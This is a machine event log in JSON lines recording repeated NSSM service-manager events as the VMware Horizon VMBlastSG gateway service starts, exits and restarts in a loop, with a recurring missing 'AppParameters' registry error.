{"@timestamp":1646726964066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160190}}
{"@timestamp":1646726964067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160191}}
{"@timestamp":1646727092566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160192}}
{"@timestamp":1646727092567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160193}}
{"@timestamp":1646727092568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157176","0"]}}},"module":"Application","provider":"nssm","sequence":160194}}
{"@timestamp":1646727092568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157176","157176","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160195}}
{"@timestamp":1646727092583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160196}}
{"@timestamp":1646727092584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160197}}
{"@timestamp":1646727092584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160198}}
{"@timestamp":1646727092585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160199}}
{"@timestamp":1646727221114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160200}}
{"@timestamp":1646727221116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160201}}
{"@timestamp":1646727221116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157196","0"]}}},"module":"Application","provider":"nssm","sequence":160202}}
{"@timestamp":1646727221117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157196","157196","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160203}}
{"@timestamp":1646727221133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160204}}
{"@timestamp":1646727221134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160205}}
{"@timestamp":1646727221134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160206}}
{"@timestamp":1646727221135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160207}}
{"@timestamp":1646727349648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160208}}
{"@timestamp":1646727349649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160209}}
{"@timestamp":1646727349649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156768","0"]}}},"module":"Application","provider":"nssm","sequence":160210}}
{"@timestamp":1646727349650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156768","156768","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160211}}
{"@timestamp":1646727349666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156816","0"]}}},"module":"Application","provider":"nssm","sequence":160212}}
{"@timestamp":1646727349666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156816","156768","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160213}}
{"@timestamp":1646727349682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160214}}
{"@timestamp":1646727349682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160215}}
{"@timestamp":1646727349683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160216}}
{"@timestamp":1646727349684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160217}}
{"@timestamp":1646727478517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160218}}
{"@timestamp":1646727478517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160219}}
{"@timestamp":1646727478519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155272","0"]}}},"module":"Application","provider":"nssm","sequence":160220}}
{"@timestamp":1646727478520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155272","155272","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160221}}
{"@timestamp":1646727478536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160222}}
{"@timestamp":1646727478537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160223}}
{"@timestamp":1646727478537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160224}}
{"@timestamp":1646727478538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160225}}
{"@timestamp":1646727607025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160226}}
{"@timestamp":1646727607027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160227}}
{"@timestamp":1646727607027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154208","0"]}}},"module":"Application","provider":"nssm","sequence":160228}}
{"@timestamp":1646727607028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154208","154208","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160229}}
{"@timestamp":1646727607044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160230}}
{"@timestamp":1646727607044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160231}}
{"@timestamp":1646727607045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160232}}
{"@timestamp":1646727607045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160233}}
{"@timestamp":1646727735574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160234}}
{"@timestamp":1646727735576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160235}}
{"@timestamp":1646727735577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156284","0"]}}},"module":"Application","provider":"nssm","sequence":160236}}
{"@timestamp":1646727735578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156284","156284","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160237}}
{"@timestamp":1646727735595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160238}}
{"@timestamp":1646727735595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160239}}
{"@timestamp":1646727735596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160240}}
{"@timestamp":1646727735597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160241}}
{"@timestamp":1646727864114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160242}}
{"@timestamp":1646727864115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160243}}
{"@timestamp":1646727864116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157448","0"]}}},"module":"Application","provider":"nssm","sequence":160244}}
{"@timestamp":1646727864117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157448","157448","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160245}}
{"@timestamp":1646727864134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160246}}
{"@timestamp":1646727864134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160247}}
{"@timestamp":1646727864135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160248}}
{"@timestamp":1646727864136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160249}}
{"@timestamp":1646727993093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160250}}
{"@timestamp":1646727993093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160251}}
{"@timestamp":1646727993095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157164","0"]}}},"module":"Application","provider":"nssm","sequence":160252}}
{"@timestamp":1646727993095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157164","157164","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160253}}
{"@timestamp":1646727993112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160254}}
{"@timestamp":1646727993112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160255}}
{"@timestamp":1646727993113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160256}}
{"@timestamp":1646727993113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160257}}
{"@timestamp":1646728121590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160258}}
{"@timestamp":1646728121591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160259}}
{"@timestamp":1646728121593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156328","0"]}}},"module":"Application","provider":"nssm","sequence":160260}}
{"@timestamp":1646728121594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156328","156328","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160261}}
{"@timestamp":1646728121610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160262}}
{"@timestamp":1646728121610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160263}}
{"@timestamp":1646728121611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160264}}
{"@timestamp":1646728121612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160265}}
{"@timestamp":1646728250120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160266}}
{"@timestamp":1646728250122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160267}}
{"@timestamp":1646728250123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157344","0"]}}},"module":"Application","provider":"nssm","sequence":160268}}
{"@timestamp":1646728250123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157344","157344","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160269}}
{"@timestamp":1646728250139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160270}}
{"@timestamp":1646728250140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160271}}
{"@timestamp":1646728250140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160272}}
{"@timestamp":1646728250141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160273}}
{"@timestamp":1646728378622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160274}}
{"@timestamp":1646728378623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160275}}
{"@timestamp":1646728378624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157424","0"]}}},"module":"Application","provider":"nssm","sequence":160276}}
{"@timestamp":1646728378625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157424","157424","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160277}}
{"@timestamp":1646728378640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160278}}
{"@timestamp":1646728378641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160279}}
{"@timestamp":1646728378641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160280}}
{"@timestamp":1646728378642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160281}}
{"@timestamp":1646728507220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160282}}
{"@timestamp":1646728507221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160283}}
{"@timestamp":1646728507222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156676","0"]}}},"module":"Application","provider":"nssm","sequence":160284}}
{"@timestamp":1646728507222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156676","156676","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160285}}
{"@timestamp":1646728507238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160286}}
{"@timestamp":1646728507238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160287}}
{"@timestamp":1646728507239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160288}}
{"@timestamp":1646728507240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160289}}
{"@timestamp":1646728635732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160290}}
{"@timestamp":1646728635732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160291}}
{"@timestamp":1646728635733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157664","0"]}}},"module":"Application","provider":"nssm","sequence":160292}}
{"@timestamp":1646728635733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157664","157664","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160293}}
{"@timestamp":1646728635749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160294}}
